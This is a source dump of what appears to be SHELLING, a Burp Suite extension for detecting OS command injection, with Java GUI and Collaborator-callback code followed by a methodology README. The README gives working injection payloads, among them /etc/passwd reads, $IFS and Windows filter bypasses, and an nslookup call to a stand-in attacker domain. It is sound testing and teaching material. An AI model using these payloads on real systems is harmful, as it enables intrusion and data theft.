defaultArgBruteRange.setSelected(false);
customCharacterRange.setEnabled(true);
}
else
{
defaultArgBruteRange.setSelected(true);
customCharacterRange.setEnabled(false);
}
}//GEN-LAST:event_customArgBruteRangeActionPerformed
private void defaultArgBruteRangeActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_defaultArgBruteRangeActionPerformed
// TODO add your handling code here:
if(defaultArgBruteRange.isSelected()==true)
{
customArgBruteRange.setSelected(false);
customCharacterRange.setEnabled(false);
}
else
{
customArgBruteRange.setSelected(true);
customCharacterRange.setEnabled(true);
}
}//GEN-LAST:event_defaultArgBruteRangeActionPerformed
private void doTerminalInjectionActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_doTerminalInjectionActionPerformed
// TODO add your handling code here:
/// http://www.example.com/%1b%5d%32%3b%6f%72%6e%65%65%07%0a
if(doTerminalInjection.isSelected())
{
//onlyDoTerminalInjection.setEnabled(true);
}
else
{
//onlyDoTerminalInjection.setEnabled(false);
}
}//GEN-LAST:event_doTerminalInjectionActionPerformed
private void doCommandInjectionActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_doCommandInjectionActionPerformed
// TODO add your handling code here:
if(doCommandInjection.isSelected()==true)
{
this.basePayloadCheckBox.setEnabled(true);
this.secondBasePayloadCheckBox.setEnabled(true);
this.thirdBasePayloadCheckBox.setEnabled(true);
this.fourthBasePayloadCheckBox.setEnabled(true);
this.fifthBasePayloadCheckBox.setEnabled(true);
this.sixthBasePayloadCheckBox.setEnabled(true);
this.seventhBasePayloadCheckBox.setEnabled(true);
this.eightBasePayloadCheckBox.setEnabled(true);
}
else
{
this.basePayloadCheckBox.setEnabled(false);
this.secondBasePayloadCheckBox.setEnabled(false);
this.thirdBasePayloadCheckBox.setEnabled(false);
this.fourthBasePayloadCheckBox.setEnabled(false);
this.fifthBasePayloadCheckBox.setEnabled(false);
this.sixthBasePayloadCheckBox.setEnabled(false);
this.seventhBasePayloadCheckBox.setEnabled(false);
this.eightBasePayloadCheckBox.setEnabled(false);
}
}//GEN-LAST:event_doCommandInjectionActionPerformed
private void removeTerminatorButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_removeTerminatorButtonActionPerformed
// TODO add your handling code here:
if(terminatorList.getSelectedIndex()!=-1)
{
ArrayList toRemove = new ArrayList<>();
int indices[]=terminatorList.getSelectedIndices();
for(int i=0;i(); // consider providing the ability to reset this object if needed - another way to achieve this will be to reload the plugin
}
public void checkCollabInteractions(boolean manual)
{
// don't run this more often than once in 30 seconds
long currentTimestamp = System.currentTimeMillis();
if(manual==false)
{
// from seconds to miliseconds
long limit = 1000*this.collabSessionCheckThreshold;
long delta = currentTimestamp-this.lastCollabSessionCheck;
// check if last checkCollabInteractions() happened within last than 30 seconds
if(delta report = null;
List collabInter=null;
Iterator collabInterItr;
collabInter = this.collabClient.fetchAllCollaboratorInteractions();
Map validPayloads = new HashMap();
// validPayloads.get("collabId.burpcollaborator.net").add(";nslookup$IFS$9a23.collabId.burpcollaborator.net;"); // this is the expected result
// now we just iterate over all the interactions - and then search through our collabSessions
if(collabInter.size()>0)
{
//if interaction(s) were found from the current poll request, add all to overall list and continue
collabInterItr = collabInter.iterator();
report = new ArrayList();
IBurpCollaboratorInteraction inter;
// OK, now we read all of them
while(collabInterItr.hasNext())
{
inter = collabInterItr.next();
if(inter.getProperty("raw_query")==null) continue; // at this point we ingore all other interactions as DNS is the only one we are interested in
// This method is used to retrieve a property of the interaction.
// Properties of all interactions are: interaction_id, type, client_ip, and time_stamp.
// Properties of DNS interactions are: query_type and raw_query. The raw_query value is Base64-encoded.
// Properties of HTTP interactions are: protocol, request, and response.
// The request and response values are Base64-encoded
logDebug("[+] Received a Collaborator interaction.");
// fuck, we're gonna have to match against the loc ourselves, it cannot be directly retrieved from the iterator!
byte[] collabQuery = SHELLING.callbacks.getHelpers().base64Decode(inter.getProperty("raw_query"));
// NOW, WHAT FOLLOWS IS THE UGLIEST SCULPTURE I HAVE EVER CODED:
// logOutput("[+] Raw query (base 64): "+inter.getProperty("raw_query"));
String rawS = SHELLING.callbacks.getHelpers().bytesToString(collabQuery);
logDebug("[+] Raw query (clear): "+rawS);
byte[] trimed = new byte[collabQuery.length-16];
for(int i=13;i1) // if there was a record (subdomain) in the hostname - which suggests the payload comes from our payload marking mechanisms, as I have not seen anyone else using this feature this way
{
String payloadIndexS="0";
String pLoc="";
payloadIndexS=parts[0];
pLoc=parts[1];
String collabLocID = parts[1].substring(0,30);
logDebug("[+] Payload index:"+payloadIndexS);
logDebug("[+] Collab location:"+collabLocID);
if(payloadIndexS.startsWith("a")) payloadIndexS = payloadIndexS.replace("a",""); // we use markers starting with "a" when $IFS$9 is used
// we use $IFS$9 because we need to separate the IFS variable name from an argument
// otherwise ping$IFSlocalhost would not work ($IFSlocalhost would be taken as a bash variable)
// so we use $9 to separate $IFS from the argument, but for the same exact reason an argument starting with a digit (like a marked domain name, e.g. 4..burpcollaborator.net) would fail as well
// so we have to prepend the marker with an alphanumeric character ("a" was a good candidate) to solve the same problem
logDebug("[+] Searching for "+collabLocID+" in our sessions (iterating overall the whole set, starting with the most recent one)...");
// we NEED to have a HashMap with payloads that have worked for each single separate collabID
// there is no way to guarantee the order of the events coming
// and don't want to miss any if more are avaiable
// while not issuing duplicates either
// so, we need to collect the feedback (the list of valid payloads) for every single recognized collabId separately, into a separate bucket
// and once all the collab interactions are processed, we pop the aggregated results by calling addScanIssue().
boolean found=false;
ArrayList payloads = new ArrayList<>(); //
for(int i=this.collabSessions.size()-1;i>-1;i--)
{
logDebug("[+] Checking "+this.collabSessions.get(i).collabLoc+"...");
if(this.collabSessions.get(i).collabLoc.startsWith(collabLocID)) // match found!
{
found=true;
logDebug("[+] MATCH! We have a finding, sir!");
logDebug("[+] Payload was generated at "+this.collabSessions.get(i).getCreated()+" to feed the "+this.collabSessions.get(i).action);
/// we can also extract the payload if full payload tracking is on
// now, gather all the information required to pop this issue up using callbacks.addScanIssue()
int payloadIndex = Integer.parseInt(payloadIndexS);
payloadIndex-=1; // payload marker was using arrays starting at 1... "I don't have strong opinions on anything" hehe
if(validPayloads.get(collabLocID)==null) // first entry, we have to create the object
{
logDebug("[+] Saved the interaction into a new bucket created for "+collabLocID+".");
ArrayList arr = new ArrayList();
// we are getting a null pointer here (getShellingsRaw(), because... well, this thing is filled AFTER the first exhaustion of all its payloads
// soo, if it's null, it means the payloads come from the current generator...
// so that last generator pointer was kinda useful
// how about a pointer to the last payload set instead?
// right, we have payloads for generatePayloads... not the same thing uh
if(this.collabSessions.get(i).getShellingsRaw()==null)
{ // current payloads have not been propagated yet, the session is still ongoing
// try to use curr_generator payloads instead
arr.add(this.curr_generator.shellings.get(payloadIndex));
}
else
{
arr.add(this.collabSessions.get(i).getShellingsRaw().get(payloadIndex));
}
validPayloads.put(collabLocID,arr);
}
else
{
if(this.collabSessions.get(i).getShellingsRaw()==null)
{
validPayloads.get(collabLocID).add(this.curr_generator.shellings.get(payloadIndex));
}
else
{
validPayloads.get(collabLocID).add(this.collabSessions.get(i).getShellingsRaw().get(payloadIndex));
}
logDebug("[+] Added the interaction into an already existing bucket for "+collabLocID+".");
}
}
}
if(!found)
{
logDebug("[+] Could not match this interaction with any registered Collaborator session... Maybe the plugin was reloaded since the scan was initiated? Inspect manually.");
// in this case we also need to pop up a finding, this is too important to miss (again, an "unknown/unexpected collaborator interaction).
}
}
else // no valid payload mark was spotted in the queried domain name
{
// OK, at this point we are also getting here lookups that do NOT contain subdomains but are definitely matching
// we have to detect them (parse out the domain and match it with the sessions loc list) and silently ignore them if this is a pattern (dummy collaborator event)
for(int i=0;i payloads = validPayloads.get(key);
if(payloads.size()==0)
{
logOutput("[+] ERROR: An empty payload bucket encountered for "+key+"! This should never happen!");
}
else
{
boolean found=false;
for(int i=0;i"+ this.collabSessions.get(i).getCreated()+" for the following tool: "+this.collabSessions.get(i).action+".
";
// we can actually try to attempt to use current generator to establish this, if possible
// interactinos caught later will not have the insertion point identified unless we start tracking that somehow too, without killing the memory
// assemble all the payloads into one description
String payloadsList="The following payloads have successfully penetrated the input:";
for(int j=0;j"+payloads.get(j)+""; // we should find a more optimum way, like a join("\n")
// also, might be a good idea to ship the payload index too - payloads with white/non-printable literals might be hard to identify
}
details+=payloadsList+"
";
details+="Insertion point name: "+this.collabSessions.get(i).insertionPointName+"
";
if(this.collabSessions.get(i).baseReqRes==null)
{
details+="Please keep in mind this tracking session was created for a payload export session, hence Burp is not able to provide the vulnerable request, as it came from an external client instead of Scanner/Intruder.
";
}
else
{
details+="Please keep in mind that the provided HTTP request is the BASE request (the one sent to Scanner/Intruder), NOT the actually vulnerable request (the memory/performance cost of asynchronous issue tracking).
";
}
// grab the baseReqResp
logDebug("[+] Adding a new Scan Issue, baby!");
SHELLING.callbacks.addScanIssue(new BinaryPayloadIssue(SHELLING.callbacks,this.collabSessions.get(i).baseReqRes,details,"DNS"));
// add it
break; // from this loop
}
}
if(!found) logOutput("[+] ERROR! Weird, no matching sessions were found for "+key+"... This should never happen.");
}
}
}
} // end of the method
protected int collabSessionID(String collabLocation)
{
for(int i=this.collabSessions.size()-1;i>-1;i--)
{
if(this.collabSessions.get(i).collabLoc==collabLocation)
{
return i;
}
}
return -1;
}
public void logOutput(String msg)
{
//this.logOutput.append(msg);
stdout.println(msg);
}
public void logDebug(String msg) // only called when verboseOutput == true
{
if(this.verboseOutput==true)
{
logOutput(msg);
}
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton addTerminatorButton;
private javax.swing.JTextField addTerminatorField;
private javax.swing.JPanel advancedPanel;
protected javax.swing.JLabel advancedPayloadLabel;
protected javax.swing.JCheckBox argInjectionCheckBox;
protected javax.swing.JTextField argumentField;
protected javax.swing.JCheckBox basePayloadCheckBox;
protected javax.swing.JCheckBox bruteArgInjections;
private javax.swing.ButtonGroup buttonGroup1;
private javax.swing.ButtonGroup buttonGroup2;
protected javax.swing.JComboBox byteGeneratorRangeCombo;
private javax.swing.JButton checkForInteractions;
protected javax.swing.JTextField commandField;
protected javax.swing.JRadioButton customArgBruteRange;
protected javax.swing.JTextField customCharacterRange;
protected javax.swing.JRadioButton defaultArgBruteRange;
private javax.swing.JSpinner delayTimeSpinner;
protected javax.swing.JCheckBox doCommandInjection;
protected javax.swing.JCheckBox doTerminalInjection;
protected javax.swing.JCheckBox eightBasePayloadCheckBox;
protected javax.swing.JList encodeList;
private javax.swing.JComboBox encodingsToUse;
protected javax.swing.JComboBox feedbackChannelCombo;
protected javax.swing.JCheckBox fifthBasePayloadCheckBox;
protected javax.swing.JCheckBox fixedArguments;
private javax.swing.JButton flushTheTrackerButton;
protected javax.swing.JCheckBox fourthBasePayloadCheckBox;
public javax.swing.JCheckBox includeLiteralWhites;
public javax.swing.JCheckBox includeThePooComboBox;
protected javax.swing.JCheckBox injectAdditionalArguments;
protected javax.swing.JCheckBox injectFileCheckBox;
protected javax.swing.JCheckBox injectHTTPCheckBox;
protected javax.swing.JCheckBox injectSmbCheckBox;
protected javax.swing.JCheckBox injectUncCheckBox;
private javax.swing.JButton jButton4;
private javax.swing.JCheckBox jCheckBox5;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel10;
private javax.swing.JLabel jLabel11;
private javax.swing.JLabel jLabel13;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JLabel jLabel7;
private javax.swing.JLabel jLabel8;
private javax.swing.JLabel jLabel9;
private javax.swing.JPanel jPanel1;
private javax.swing.JPanel jPanel2;
private javax.swing.JPanel jPanel3;
private javax.swing.JPanel jPanel4;
private javax.swing.JPanel jPanel5;
private javax.swing.JPanel jPanel6;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JScrollPane jScrollPane3;
protected javax.swing.JTabbedPane jTabbedPane1;
private javax.swing.JCheckBox manualModeCheckBox;
protected javax.swing.JCheckBox osSpecificTerminators;
private java.awt.Panel panel1;
public javax.swing.JCheckBox payloadMarkingBox;
private javax.swing.JButton removeEncoding;
private javax.swing.JButton removeTerminatorButton;
private javax.swing.JButton saveToClipBoardButton;
private javax.swing.JButton saveToFileButton;
protected javax.swing.JCheckBox scannerChecksBox;
protected javax.swing.JCheckBox secondBasePayloadCheckBox;
protected javax.swing.JCheckBox seventhBasePayloadCheckBox;
protected javax.swing.JCheckBox sixthBasePayloadCheckBox;
public javax.swing.JCheckBox smart400Avoidance;
public javax.swing.JCheckBox stopAllRunningScans;
protected javax.swing.JComboBox targetOSCombo;
protected javax.swing.JRadioButton terminatorASCIIFormat;
protected javax.swing.JRadioButton terminatorHexFormat;
protected javax.swing.JList terminatorList;
protected javax.swing.JCheckBox thirdBasePayloadCheckBox;
protected javax.swing.JCheckBox uncPathsCheckBox;
protected javax.swing.JCheckBox useNullByte;
protected javax.swing.JCheckBox useTerminatorsCheckBox;
private javax.swing.JCheckBox verboseOutputCheckBox;
// End of variables declaration//GEN-END:variables
}
================================================
FILE: Java/src/uk/co/pentest/SHELLING/ShellingTab.java
================================================
package uk.co.pentest.SHELLING;
import burp.ITab;
import java.awt.Color;
import java.util.Objects;
import javax.swing.JTabbedPane;
import javax.swing.event.ChangeEvent;
public class ShellingTab implements ITab {
public ShellingPanel2 shellingPanel = new ShellingPanel2();
Integer tabIndex;
JTabbedPane tabPane;
public void findTab() {
if(tabIndex != null)
return;
tabPane = (JTabbedPane) shellingPanel.getParent();
if(tabPane == null)
return;
for(int i = 0; i < tabPane.getTabCount(); i++)
if(Objects.equals(tabPane.getTitleAt(i), getTabCaption()))
tabIndex = i;
tabPane.addChangeListener((ChangeEvent e1) -> {
if(tabPane.getSelectedIndex() == tabIndex)
tabPane.setBackgroundAt(tabIndex, Color.BLACK);
});
}
void alertTab() {
tabPane.setBackgroundAt(tabIndex, new Color((float) 0.894, (float) 0.535, (float) 0.0));
}
@Override
public String getTabCaption() {
return "SHELLING";
}
@Override
public ShellingPanel2 getUiComponent() {
return shellingPanel;
}
}
================================================
FILE: Java/src/uk/co/pentest/SHELLING/SimpleDocumentListener.java
================================================
package uk.co.pentest.SHELLING;
import javax.swing.event.DocumentEvent;
import javax.swing.event.DocumentListener;
/**
* A simplified version of DocumentListener that fires changedUpdate for all
* events.
*/
public abstract class SimpleDocumentListener implements DocumentListener {
@Override
public void insertUpdate(DocumentEvent evt) {
changedUpdate(evt);
}
@Override
public void removeUpdate(DocumentEvent evt) {
changedUpdate(evt);
}
}
================================================
FILE: Java/src/uk/co/pentest/SHELLING/collabSession.java
================================================
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package uk.co.pentest.SHELLING;
import burp.IHttpRequestResponse;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
/**
*
* @author julian
*/
public class collabSession {
protected int ID;
protected String config; // could store it in a similar manner CVSS is interpreted
protected String action;
protected static int count=0;
protected String created;
protected String insertionPointName;
protected String collabLoc;
protected IHttpRequestResponse baseReqRes;
protected ArrayList shellings_raw;
// would be really nice to save the configuration for the given section
// this would allow to trace the asonchronous cases from Intruder better
// but about saving the entire payload set instead?
public collabSession(String loc, String act, IHttpRequestResponse value, String paramName)
{
this.collabLoc=loc.substring(0,30); // we only need first 30 chars
this.ID=this.count++;
this.action=act;
this.created = new SimpleDateFormat("yyyy.MM.dd HH:mm:ss").format(new Date());
this.insertionPointName=paramName;
this.setReqResp(value);
}
public void setReqResp(IHttpRequestResponse value)
{
this.baseReqRes=value;
}
public String getLoc()
{
return this.collabLoc;
}
public String getCreated()
{
return this.created;
}
// we want to store this in the session tracker for the sake of accuracy
public void setShellingsRaw(ArrayList raw)
{
this.shellings_raw=raw;
}
public void setCount(int c)
{
this.count=c;
}
public ArrayList getShellingsRaw()
{
return this.shellings_raw;
}
public void setInsertionPointName(String n)
{
this.insertionPointName=n;
}
public String getInsertionPointName()
{
return this.insertionPointName;
}
}
================================================
FILE: README.md
================================================
Original work by: Julian H. https://github.com/ewilded/shelling
# SHELLING - a comprehensive OS command injection payload generator
# An OLDER version is currently available in the Burp App Store as Command Injection Attacker. The current version (available here) has already been submitted to the Bapp Store and should be released there soon.

# What is SHELLING?
This project revolves around detecting OS command and argument injection flaws (not limited to web applications).
Its main objectives are:
* provide methodology for the OS command injection detection
* provide software implementating this methodology
# How this document is organised
This documentation is divided into two separate sections:
* The first section provides the methodology and results of the OS command and argument injection research conducted for the needs of this project.
* The second section describes current and future tool's capabilities and usage.
# Table of contents - OS command injection
* [Identifying possible reasons of getting false negatives](#identifying-possible-reasons-of-getting-false-negatives)
* [The syntax problem](#the-syntax-problem)
* [The problem of input-sanitizing mechanisms](#the-problem-of-input-sanitizing-mechanisms)
* [Bad characters](#bad-characters)
* [Argument separators trickery](#argument-separators-trickery)
* [Command separators trickery](#command-separators-trickery)
* [More witchcraft](#more-witchcraft)
* [String separators](#string-separators)
* [Regular expressions](#regular-expressions)
* [Platform-specific conditions](#platform-specific-conditions)
* [The problem of the feedback channel](#the-problem-of-the-feedback-channel)
# Table of contents - the tool
* [User interface](#user-interface)
* [Using the tool](#using-the-tool)
* [Feedback channels](#feedback-channels)
* [DNS](#dns)
* [time](#time)
* [Payload marking](#payload-marking)
* [Difference between manual and automatic mode](#difference-between-manual-and-automatic-mode)
* [The auto mode](#the-auto-mode)
* [The manual mode](#the-manual-mode)
* [Different approaches to using this tool](#different-approaches-to-using-this-tool)
* [Scanner](#scanner)
* [Intruder](#intruder)
* [Intruder in auto mode - Collaborator integration!](#intruder-in-auto-mode)
* [Intruder in manual mode](#intruder-in-manual-mode)
* [Export](#export)
* [Byte generator](#byte-generator)
* [Experimental injection modes](#experimental-injection-modes)
* [Problems and future improvements](#problems-and-future-improvements)
* [Test cases, real cases](#some-case-examples)
# Other projects and special thanks
* [Other recommended tools, projects and special thanks](#tools-i-recommend-using-not-only-in-tandem-with-shelling-but-generally)
# Identifying possible reasons of getting false negatives
Problems to face when creating OS command injection payloads:
* the eventual syntax of the expression we are injecting into (e.g. quoted expressions)
* input sanitizing mechanisms rejecting individual characters (e.g. spaces)
* platform-specific conditions (e.g. there is no "sleep" on windows)
* callback method (e.g. asynchronous execution, no outbound traffic allowed)
The purpose of creating this tool was to reach the non-trivial OS command injection cases, which stay undetected by generally known and used tools and sets of payloads.
## The syntax problem
Let's consider the following vulnerable PHP script:
```
>/tmp/users.txt");
?>
```
What makes this case different from the most common and obvious cases of OS command injection is the fact that the user-controlled variable is injected between single quotes in the final expression passed to the shell_exec function. Hence, one of the most obvious OS command injection test cases, like
`http://localhost/vuln.php?username=;cat /etc/passwd;` would result in the expression being evaluated to echo `';cat /etc/passwd;'`.
So, instead of executing the command, the entire user input is written into the /tmp/users.txt file.
This particular payload leads to a false negative in this particular case, as it does not fit the target expression syntax in a way that would make shell_exec function treat it as a system command. Instead, the payload is still treated as an argument to the echo command.
In order to properly inject into this particular command, we need to jump out from the quoted expression in the first place. If we simply try payload like `';cat
/etc/passwd;`, the expression would evaluate to echo `'';cat /etc/passwd;'`, we would still get a false negative due to unmatched quoted string following the command we injected.
A payload fitting to this particular syntax should look like `';cat /etc/passwd;'`:
`http://localhost/vuln.php?username=%27;cat /etc/passwd;%27`, making the final expression to look like echo `'';cat /etc/passwd;''`.
And the output is (the injection is working):
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin: [...]
This is just one of the examples of how the syntax of the target injectable expression affects the results. The solution to this problem is a good list of vulnerable syntax-varied cases, as we have to guess as many syntax-dependant cases as possible.
For the rest of this write-up, let’s use the following legend:
- OS_COMMAND = the name of the remote binary we want to execute, e.g. `ping`
- ARGUMENT = the argument of the command we want to execute, e.g.`collaborator.example.org`
- ARGUMENT_SEPARATOR = string between the OS_COMMAND and the ARGUMENT, e.g. ` ` (a space)
- FULL_COMMAND=`OS_COMMAND+ARGUMENT_SEPARATOR+ARGUMENT`
- COMMAND_SEPARATOR = a string that separates multiple commands from each other, required for successful injection in most cases (e.g. `&` or `|`)
- COMMAND_TERMINATOR = a sequence which, if injected into a string, enforces the remote system to ignore the remainder of that string (everything that follows the terminator), e.g. `#` on nix (bash) or '::' on win
So, the following list of syntax patterns was created:
- `FULL_COMMAND` - when command is directly injected into an expression
- `FULL_COMMAND+(COMMAND_TERMINATOR or COMMAND_TERMINATOR)` - when the command is directly injected into the beginning of the expression and then it is appended with some arguments/other commands
- `COMMAND_SEPARATOR + FULL_COMMAND` - when command is appended as an argument of a command hardcoded in the expression
- `COMMAND_SEPARATOR + FULL_COMMAND + COMMAND_SEPARATOR` - when the command is appended as an argument to a command hardcoded in the expression AND appended with some arguments/other commands
Additionally, all the above combinations need corresponding versions targeted at quoted expressions.
Single quotes:
- `'FULL_COMMAND'`
- `'FULL_COMMAND+(COMMAND_TERMINATOR or COMMAND_TERMINATOR)'`
- `'COMMAND_SEPARATOR + FULL_COMMAND'`
- `'COMMAND_SEPARATOR+ FULL_COMMAND + COMMAND_SEPARATOR'`
Double quotes:
- `“FULL_COMMAND”`
- `“FULL_COMMAND+(COMMAND_TERMINATOR or COMMAND_TERMINATOR)”`
- `“COMMAND_SEPARATOR+ FULL_COMMAND”`
- `“COMMAND_SEPARATOR+ FULL_COMMAND +COMMAND_SEPARATOR”`
## The problem of input-sanitizing mechanisms
### Bad characters
As it is generally known, blacklist-based approach is a bad security practice. In most cases, sooner or later the attackers find a way around the finite defined list of payloads/characters that are forbidden. Instead of checking if the user-supplied value contains any of the bad things we predicted (e.g. `&` or `;` characters), it's safer to check whether that data looks like it should (e.g. matches a simple regex like `^\w+$` or `^\d+$`) before using it.
Many input-sanitizing functions attempt to catch all potentially dangerous characters that might give the attacker a way to control the target expression and, in consequence, execution.
#### Argument separators trickery
Let's consider the following example:
```
".shell_exec("ls {$_POST['dir']}");
}
?>
```
The script executes the OS command only if the user-supplied variable does not contain any white characters (like spaces or tabs). This is why payloads like:
`cat /etc/passwd`
`;cat /etc/passwd;`
`';cat /etc/passwd;'`
lead to false negatives.
In order to execute an arbitrary command, we need an alternative expression to separate the command from its argument (we need an alternative ARGUMENT_SEPARATOR).
A way to achieve this is an expression like `$IFS$9`, so the alternative payloads would be:
`cat$IFS$9/etc/passwd`
`;cat$IFS$9/etc/passwd;`
`';cat$IFS$9/etc/passwd;'`
In the unix environment, the `$IFS` environmental variable contains the current argument separator value (which is space by default).
Special caution needs to be taken when injecting `$IFS` as the argument separator. It is critical to make sure that the OS shell will be able to understand where does the variable name end and therefore where does the actual argument start. `ping$IFSlocalhost` will NOT work, because the shell will try to extrapolate a variable called `$IFSlocalhost` - which is obviously not defined. To deal with this, we can insert additional `$9`, which is just a holder of the ninth argument of the current system shell process (which is always an empty string).
Interestingly, the same principle does not seem to apply to commands like `init$IFS$96` (init 6 -> restart). The command works fine and the shell is not trying to insert variable $96. Instead, it recognizes the presence of `$9`, evaluates it to an empty string and therefore treats the following `6` as an argument.
A way to avoid this confusion is to use the `${IFS}` bracketed expression - just keep in mind this involves the use of two more characters that are likely to be filtered (`{` and `}`).
Below is the list of currently known and supported argument separators.
On nix:
- `%20` - space
- `%09` - horizontal tab
- `$IFS$9` - IFS terminated with 9th (empty) argument holder
- `{OS_COMMAND,ARGUMENT}` - the brace expression (works under bash, does not under dash)
More platform-specific tricks, like IFS override `;IFS=,;cat,/etc/passwd` or char escaping `X=$'cat\x20/etc/passwd'&&$X` will soon be supported as well.
On win:
- `%20` - space
- `%09` - horizontal tab
- `%0b` - vertical tab
- `%25ProgramFiles:~10,1%25` - a hacky cmd expression cutting out a space from the default setting of the %ProgramFiles% environmental variable (`C:\Program Files`)
The above is just an example of bypassing poorly written input-sanitizing function from the perspective of alternative argument separators.
#### Command separators trickery
Achieving the ability of injecting arbitrary commands usually boils down to the ability of injecting valid command separators first.
Below is the list of working commmand separators:
On unix:
- `%0a` (new line character)
- `%0d` (carriage return character)
- `;`
- `&`
- `|`
On windows:
- `%0a` (new line character)
- `&`
- `|`
- `%1a` - a magical character working as a command separator in .bat files (discovered while researching cmd.exe to find alternative command separators - full description of the finding: http://seclists.org/fulldisclosure/2016/Nov/67)
#### More witchcraft
Also, what's very interesting on win is the fact that the semicolon `;` does NOT work as a command separator.
This is very sad, because e.g. the `%PATH%` env variable usually looks more-less like this:
`C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;[...]`.
Therefore it would be great to use an alternative command separator like `%PATH:~19,1%` (substring expression that cuts out the first `;`, so it evaluates to it) with payloads like `a%25PATH:~19,1%25nslookup%25ProgramFiles:~10,1%25evildns.attacker.com%25PATH:~19,1%25`, which would evaluate to `a;nslookup evildns.attacker.com;`.
Unfortunately the default environmental variables under Windows do not contain any supported command separator, like `&`.
It WOULD work, here's why:

* This behavior was described long time ago, being called the "Windows version" of the famous bash shellshock vulnerability (https://web.archive.org/web/20190212214038/https://www.thesecurityfactory.be/command-injection-windows.html)
I am still hoping for some undocumented cmd.exe function that will allow to forge `&` by some sort of single expression (or some hidden, undocumented special environmental variables not visible in `env` output). More research is needed.
By the way, I also really hoped for a similar thing to work on nix. E.g. the `$LS_COLORS` variable looks more-less like: `rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37[...]`.
Hence, I really hoped for expression like `ls .${LS_COLORS:10:1}id` to work (evaluating to `ls .;id` and treating `;` as a command separator). Unfortunately bash plays it safe and treats such a string as a literal:
`ls: cannot access '.;id': No such file or directory`. Who knows... More research is needed (especially with cmd.exe as it is not open source, but also on other shells like dash (and powershell!).
Another good research target are common language functions themselves (e.g. escapeshellcmd() or Java's GetRuntime().exec() - as it has built in protection from injecting additional commands, nothing I tried worked so far - except for argument injection of course, but that always depends on the hardcoded binary that is being called).
#### String separators
Additionally, the following string terminators can be used (in case input was written into a file or a database before execution and our goal was to get rid of everything appended to our payload in order to avoid syntax issues):
- `%00` (nullbyte)
- `%F0%9F%92%A9` (Unicode poo character, known to cause string termination in db software like MySQL)
- `%20#` - space followed by the hash sign (nix)
- `%20::` - space followed by the `::` cmd.exe one-line comment sequence
This way the base payload set is multiplied by all the feasible combinations of alternative argument separators, command separators and command terminators.
The above separators could include double characters (like two spaces or two tabs, one after another). This is idea for optimisation aimed at defeating improperly written filters which only cut out single instances of banned characters, instead of removing them all. In such case two characters would get reduced to one, bypassing the filter and hitting the vulnerable function.
### Regular expressions
Some input sanitizers are based on regular expressions, checking if the user-supplied input does match the correct pattern (the good, whitelist approach, as opposed to a blacklist).
Still, a good approach can be improperly implemented, creating loopholes. A few examples below.
The following vulnerable PHP will refuse to execute any OS commands as long as the user-supplied input does not START with alphanumeric character/characters:
```
".shell_exec("ls {$_GET['dir']}");
}
?>
```
This is why all of the previously discussed payloads would end up in false negatives. An example payload defeating this filter could be `foo;cat /etc/passwd`.
Another example's regular expression requires the user-supplied value to both start and end with alphanumeric characters:
```
".shell_exec("ls {$_GET['dir']}");
}
?>
```
Due to the fact that it contains a lax the `.*` part in the middle, it is possible to defeat it with a payload starting and ending with an alphanumeric string, like `foo1.co.uk;cat /etc/passwd;foo2.co.uk`. In this case it does not matter that there is no such file as `foo1.co.uk` and that there is no such command as `foo2.co.uk`, what matters is that the command between these prefixes will execute properly.
These two examples show that all the previously mentioned payloads also require alternatives with proper prefixes and/or suffixes, ideally taken from the original values used and expected by the application. In fact, these payloads (suffixed and prefixed) are the ones most likely to succeed, making their non-suffixed and non-prefixed versions redundant (this fact will be soon used in the best effort payloads feature - not implemented yet).
This makes us extend our base payload set to combinations like:
- `COMMAND_SEPARATOR+FULL_COMMAND+COMMAND_SEPARATOR+SUFFIX`
- `PREFIX+COMMAND_SEPARATOR+ FULL_COMMAND+COMMAND_SEPARATOR`
- `PREFIX+COMMAND_SEPARATOR+ FULL_COMMAND+COMMAND_SEPARATOR+SUFFIX`
- `PREFIX+FULL_COMMAND+SUFFIX`
## Platform-specific conditions
Depending on the technology we are dealing with, some payloads working on some systems will fail on the other. The examples include:
- using windows-specific command on a nix-like system
- using nix-like specific argument separator on a windows system
- dealing with a different underlying system shell (e.g. `cat /etc/passwd #'` will work on bash/ash/dash, but won't work on csh)
- different filesystem PATH values
With this in mind, the best (and currently applied) approach is to use commands and syntaxes that work the same on all tested platforms (the most basic syntax of commands like echo and ping remains the same across nix/win). If this approach turns out not to be exhaustive, alternative base payloads need to be added to the test set.
## The problem of the feedback channel
All the above vulnerable scripts have two common features:
- they are synchronous, meaning that the script does not return any output as long as the command has not returned results, so it is synchronous with
our targeted function
- they all return the target function's output, meaning that we could actually see the results of the issued commands on the web page.
This conditions are often untrue, especially the second one. So, let's deal with a script like:
```
```
The above script is synchronous, but does not return output. An alternative that would also be asynchronous would involve saving the command in some file/database entry and having it executed by another process within unknown time (e.g. a scheduled task).
So, using all the variations of test commands like cat /etc/passwd or echo test would lead to false negatives, because the output is never returned to the browser.
This is why we need alternative feedback channels (which do not necessarily mean ouf of band channels - this terminology rather refers to the way of extracting data).
A feedback channel is simply the way we collect the indicator of a successful injection/suspicious behavior.
Hence, for command injection, we can have the following feedback channels:
- output (all the above examples except the last one use directly returned output, could as well be indirectly returned, e.g. visible in some other module, put into a file, sent via email and so on, all depending on what the vulnerable feature does and how it returns results)
- response time (e.g. commands like sleep 30 will case noticeable half-minute delay, confirming that the injection was successful, however this will not work with asynchronous scripts)
